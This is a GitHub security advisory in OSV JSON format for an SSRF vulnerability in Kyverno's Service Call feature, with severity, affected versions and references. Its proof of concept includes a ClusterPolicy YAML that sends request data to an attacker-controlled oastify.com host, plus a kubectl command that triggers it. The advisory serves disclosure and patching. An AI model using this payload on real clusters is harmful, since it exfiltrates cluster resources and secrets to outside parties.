{ "schema_version": "1.4.0", "id": "GHSA-459x-q9hg-4gpq", "modified": "2025-04-23T15:11:02Z", "published": "2025-04-15T21:19:37Z", "aliases": [], "summary": "Kyverno vulnerable to SSRF via Service Calls", "details": "### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: check-namespaces \nspec:\n rules:\n - name: call-extension\n match:\n any:\n - resources:\n kinds:\n - ConfigMap\n context:\n - name: result\n apiCall:\n method: POST\n data:\n - key: namespace\n value: \"{{request.namespace}}\"\n service:\n url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload \n validate:\n message: \"namespace {{request.namespace}} is not allowed\"\n deny:\n conditions:\n all:\n - key: \"{{ result.allowed }}\"\n operator: Equals\n value: false\n```\nNow let's create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n\"Снимок\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.", "severity": [ { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P" } ], "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/kyverno/kyverno" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "last_affected": "1.13.4" } ] } ] } ], "references": [ { "type": "WEB", "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq" }, { "type": "PACKAGE", "url": "https://github.com/kyverno/kyverno" }, { "type": "WEB", "url": "https://pkg.go.dev/vuln/GO-2025-3615" } ], "database_specific": { "cwe_ids": [ "CWE-918" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-04-15T21:19:37Z", "nvd_published_at": null } }